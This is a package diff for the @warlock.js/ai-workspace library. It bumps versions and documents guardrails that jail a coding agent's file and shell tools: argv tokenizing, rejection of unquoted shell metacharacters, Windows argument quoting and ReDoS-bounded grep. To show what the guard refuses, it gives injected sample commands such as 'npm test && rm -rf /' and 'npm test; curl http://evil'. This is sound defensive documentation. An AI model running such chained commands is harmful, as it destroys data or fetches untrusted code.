- [build-loop-agent](@warlock.js/ai-workspace/build-loop-agent/SKILL.md): Wire a @warlock.js/ai-workspace into a coding agent that closes the read → edit → run-tests loop on its own. Triggers: `ws.tools.all()`, `ai.agent({ tools: ws.tools.all() })`, `maxTrips`, `run_tests`, `run_shell`, 'agent that fixes a failing test', 'make the suite green', 'coding agent that edits a repo', 'build-loop agent', 'self-correcting agent', 'read-only code reviewer', 'scaffold then hand off to an agent', 'share one workspace across a supervisor', 'least-privilege agent tools', 'errors as tool data'; typical wiring `const ws = ai.workspace({ cwd, shell }); ai.agent({ model, tools: ws.tools.all(), maxTrips })`. Skip: constructing the workspace / its policy / direct methods / readonly / scope — `@warlock.js/ai-workspace/use-a-workspace/SKILL.md`; the agent loop / maxTrips / events themselves — `@warlock.js/ai/run-ai-agent/SKILL.md`.
|
|
10
|
-
- [use-a-workspace](@warlock.js/ai-workspace/use-a-workspace/SKILL.md): Build and operate a policy-jailed filesystem + shell workspace with @warlock.js/ai-workspace. Triggers: `ai.workspace`, `workspace(`, `WorkspacePolicy`, `WorkspaceShellPolicy`, `WorkspaceToolName`, `ws.tools.all`, `ws.tools.pick`, `ws.readFile`, `ws.writeFile`, `ws.editFile`, `ws.exec`, `ws.grep`, `ws.glob`, `ws.readonly`, `ws.scope`, `WorkspacePolicyError`, `WorkspaceEditError`, `denyPaths`, `inheritEnv`, `expectHash`, `read_file`/`edit_file`/`write_file`/`run_shell`/`run_tests`; 'give an agent file tools', 'jail an agent to a directory', 'let an agent read/write/grep a repo', 'read-only workspace for a reviewer', 'scope an agent to a subdirectory', 'run a shell command under policy', 'edit a file with a stale-hash guard'; typical import `import "@warlock.js/ai-workspace"; import { ai } from "@warlock.js/ai"`. Skip: building the agent loop that consumes the tools — `@warlock.js/ai-workspace/build-loop-agent/SKILL.md`; defining a non-filesystem custom tool — `@warlock.js/ai/define-ai-tool/SKILL.md`.
|
|
10
|
+
- [use-a-workspace](@warlock.js/ai-workspace/use-a-workspace/SKILL.md): Build and operate a policy-jailed filesystem + shell workspace with @warlock.js/ai-workspace. Triggers: `ai.workspace`, `workspace(`, `WorkspacePolicy`, `WorkspaceShellPolicy`, `WorkspaceToolName`, `ws.tools.all`, `ws.tools.pick`, `ws.readFile`, `ws.writeFile`, `ws.editFile`, `ws.exec`, `ws.grep`, `ws.glob`, `ws.readonly`, `ws.scope`, `WorkspacePolicyError`, `WorkspaceEditError`, `denyPaths`, `inheritEnv`, `expectHash`, `tokenizeCommand`, `read_file`/`edit_file`/`write_file`/`run_shell`/`run_tests`/`grep`; 'give an agent file tools', 'jail an agent to a directory', 'let an agent read/write/grep a repo', 'read-only workspace for a reviewer', 'scope an agent to a subdirectory', 'run a shell command under policy', 'edit a file with a stale-hash guard', 'command injection guard for an agent shell tool', 'ReDoS-safe grep for an agent'; typical import `import "@warlock.js/ai-workspace"; import { ai } from "@warlock.js/ai"`. Skip: building the agent loop that consumes the tools — `@warlock.js/ai-workspace/build-loop-agent/SKILL.md`; defining a non-filesystem custom tool — `@warlock.js/ai/define-ai-tool/SKILL.md`.
|
package/package.json
CHANGED
|
@@ -18,12 +18,12 @@
|
|
|
18
18
|
"url": "https://github.com/warlockjs/ai-workspace"
|
|
19
19
|
},
|
|
20
20
|
"peerDependencies": {
|
|
21
|
-
"@warlock.js/ai": "
|
|
21
|
+
"@warlock.js/ai": "5.0.0"
|
|
22
22
|
},
|
|
23
23
|
"dependencies": {
|
|
24
|
-
"@warlock.js/fs": "
|
|
24
|
+
"@warlock.js/fs": "5.0.0"
|
|
25
25
|
},
|
|
26
|
-
"version": "
|
|
26
|
+
"version": "5.0.0",
|
|
27
27
|
"main": "./cjs/index.cjs",
|
|
28
28
|
"module": "./esm/index.mjs",
|
|
29
29
|
"types": "./esm/index.d.mts",
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: use-a-workspace
|
|
3
|
-
description: 'Build and operate a policy-jailed filesystem + shell workspace with @warlock.js/ai-workspace. Triggers: `ai.workspace`, `workspace(`, `WorkspacePolicy`, `WorkspaceShellPolicy`, `WorkspaceToolName`, `ws.tools.all`, `ws.tools.pick`, `ws.readFile`, `ws.writeFile`, `ws.editFile`, `ws.exec`, `ws.grep`, `ws.glob`, `ws.readonly`, `ws.scope`, `WorkspacePolicyError`, `WorkspaceEditError`, `denyPaths`, `inheritEnv`, `expectHash`, `read_file`/`edit_file`/`write_file`/`run_shell`/`run_tests`; ''give an agent file tools'', ''jail an agent to a directory'', ''let an agent read/write/grep a repo'', ''read-only workspace for a reviewer'', ''scope an agent to a subdirectory'', ''run a shell command under policy'', ''edit a file with a stale-hash guard''; typical import `import "@warlock.js/ai-workspace"; import { ai } from "@warlock.js/ai"`. Skip: building the agent loop that consumes the tools — `@warlock.js/ai-workspace/build-loop-agent/SKILL.md`; defining a non-filesystem custom tool — `@warlock.js/ai/define-ai-tool/SKILL.md`.'
|
|
3
|
+
description: 'Build and operate a policy-jailed filesystem + shell workspace with @warlock.js/ai-workspace. Triggers: `ai.workspace`, `workspace(`, `WorkspacePolicy`, `WorkspaceShellPolicy`, `WorkspaceToolName`, `ws.tools.all`, `ws.tools.pick`, `ws.readFile`, `ws.writeFile`, `ws.editFile`, `ws.exec`, `ws.grep`, `ws.glob`, `ws.readonly`, `ws.scope`, `WorkspacePolicyError`, `WorkspaceEditError`, `denyPaths`, `inheritEnv`, `expectHash`, `tokenizeCommand`, `read_file`/`edit_file`/`write_file`/`run_shell`/`run_tests`/`grep`; ''give an agent file tools'', ''jail an agent to a directory'', ''let an agent read/write/grep a repo'', ''read-only workspace for a reviewer'', ''scope an agent to a subdirectory'', ''run a shell command under policy'', ''edit a file with a stale-hash guard'', ''command injection guard for an agent shell tool'', ''ReDoS-safe grep for an agent''; typical import `import "@warlock.js/ai-workspace"; import { ai } from "@warlock.js/ai"`. Skip: building the agent loop that consumes the tools — `@warlock.js/ai-workspace/build-loop-agent/SKILL.md`; defining a non-filesystem custom tool — `@warlock.js/ai/define-ai-tool/SKILL.md`.'
|
|
4
4
|
---
|
|
5
5
|
|
|
6
6
|
# Use a workspace — a policy jail for an agent's filesystem + shell
|
|
@@ -31,7 +31,7 @@ This is least-privilege guardrails for a **trusted** agent — not a sandbox aro
|
|
|
31
31
|
| `cwd` | **Absolute** jail root. Every path resolves against it and must stay inside. |
|
|
32
32
|
| `allowPaths` | Extra readable roots outside `cwd`. |
|
|
33
33
|
| `denyPaths` | Globs (`*`, `**`, `?`) blocked **even inside `cwd`** — e.g. `[".git/**", ".env*"]`. A bare dir name (`"node_modules"`) also blocks its contents. |
|
|
34
|
-
| `shell.allow` / `shell.deny` | Executable **basenames** matched against the command's leading token. **Deny wins.** An `allow` list is exhaustive (fail-closed); no `shell` block at all ⇒ nothing may run. |
|
|
34
|
+
| `shell.allow` / `shell.deny` | Executable **basenames** matched against the command's leading argv token (after tokenizing — see below). **Deny wins.** An `allow` list is exhaustive (fail-closed); no `shell` block at all ⇒ nothing may run. |
|
|
35
35
|
| `shell.inheritEnv` | Opt-in `process.env` keys to pass through (e.g. `["PATH"]`). **Nothing leaks in otherwise** — a command can't find `node`/`npm` without `PATH`. |
|
|
36
36
|
| `shell.env` | Explicit env vars injected into every spawned process (override inherited on collision). |
|
|
37
37
|
| `shell.timeoutMs` / `shell.maxOutputBytes` | Per-command wall-clock cap (SIGKILL on expiry) and stdout/stderr byte cap. |
|
|
@@ -40,6 +40,21 @@ This is least-privilege guardrails for a **trusted** agent — not a sandbox aro
|
|
|
40
40
|
|
|
41
41
|
> **The most common gotcha:** `run_shell` fails to find `node`/`npm` because the env is empty. Add `shell: { allow: ["npm", "node"], inheritEnv: ["PATH"] }`.
|
|
42
42
|
|
|
43
|
+
## `run_shell`/`exec` run argv, NOT a shell
|
|
44
|
+
|
|
45
|
+
Commands are tokenized (via `tokenizeCommand`) into an argv and spawned with **no shell semantics** — no pipes, redirection, chaining, backticks, or variable expansion. `npm test && rm -rf /` or `` `curl evil` `` doesn't chain or substitute; it's rejected outright rather than executed piecemeal:
|
|
46
|
+
|
|
47
|
+
```ts
|
|
48
|
+
await ws.exec("npm test"); // OK — ["npm", "test"]
|
|
49
|
+
await ws.exec('node -e "console.log(1)"'); // OK — quotes respected, one argv element
|
|
50
|
+
await ws.exec("npm test; curl http://evil"); // rejected — unquoted `;` is a metacharacter
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
- **Quoting is respected**; **unquoted** shell metacharacters — `;` `&` `|` `<` `>` `` ` `` `$` `(` `)` and newlines — are rejected as a `WorkspacePolicyError` `type: "denied-command"` before anything spawns. The `shell.allow`/`shell.deny` basename check runs against the tokenized argv's first element, not a raw string prefix, so a disguised leading token can't slip past the gate.
|
|
54
|
+
- **On Windows**, the argv is run through a `cmd.exe /d /s /c` wrapper with every element individually quoted (needed because batch shims like `npm.cmd` can't be spawned shell-less); arguments containing `"`, `%`, or newlines are refused there rather than risked (guards the BatBadBut-class argument-smuggling bug class).
|
|
55
|
+
- **`run_tests`'s `pattern`** (model-controlled test-name filter) is forwarded as a **single double-quoted argv token** to the runner, not concatenated into the command string — a pattern containing double quotes or newlines is rejected at input validation rather than passed through.
|
|
56
|
+
- This is a **behavior change, not just a hardening detail**: shell conveniences your commands may have relied on (pipes, redirection, `&&` chaining, `$(...)` substitution) no longer work in `run_shell`/`exec`. Compose multi-step work as separate `ws.exec()` calls instead of a single shelled pipeline.
|
|
57
|
+
|
|
43
58
|
## Two callers, one jail
|
|
44
59
|
|
|
45
60
|
### Agent-facing — `ws.tools.*`
|
|
@@ -69,6 +84,10 @@ await ws.mkdir("src/generated");
|
|
|
69
84
|
await ws.remove("dist");
|
|
70
85
|
```
|
|
71
86
|
|
|
87
|
+
## `grep` is ReDoS-bounded
|
|
88
|
+
|
|
89
|
+
The model supplies `pattern` freely, so `grep` treats it as untrusted input before compiling it into a `RegExp`: patterns over 200 characters and patterns matching a nested-quantifier shape (`(x+)+`, `(x*)*`, `(x+)*`, `(x*)+`-style groups — the classic catastrophic-backtracking shape) are rejected up front as a `WorkspacePolicyError` `type: "unsafe-pattern"`, before any regex is compiled. Any scanned line longer than 2000 characters is skipped (not tested), bounding the worst-case backtracking cost of any single call regardless of pattern shape.
|
|
90
|
+
|
|
72
91
|
## Read-before-edit (the stale-hash guard)
|
|
73
92
|
|
|
74
93
|
`readFile` returns a SHA-256 `hash` of the full file. Pass it to `editFile`'s `expectHash`; if the file changed since you read it, the edit is rejected as stale so you re-read before clobbering. `editFile` also requires the `oldString` to be **exact and unique** — pass `replaceAll: true` to replace every occurrence, or include more surrounding context to disambiguate.
|
|
@@ -89,7 +108,7 @@ try {
|
|
|
89
108
|
}
|
|
90
109
|
```
|
|
91
110
|
|
|
92
|
-
- `WorkspacePolicyError.type`: `"path-escape"` (jail escape / deny glob) | `"denied-command"
|
|
111
|
+
- `WorkspacePolicyError.type`: `"path-escape"` (jail escape / deny glob) | `"denied-command"` (not allow-listed, or rejected during tokenizing — unquoted metacharacters, disallowed Windows-wrapper characters) | `"unsafe-pattern"` (`grep` pattern too long or nested-quantifier ReDoS shape).
|
|
93
112
|
- `WorkspaceEditError.type`: `"not-found"` | `"not-unique"` | `"stale-hash"`.
|
|
94
113
|
|
|
95
114
|
## Composition — `readonly()` and `scope()`
|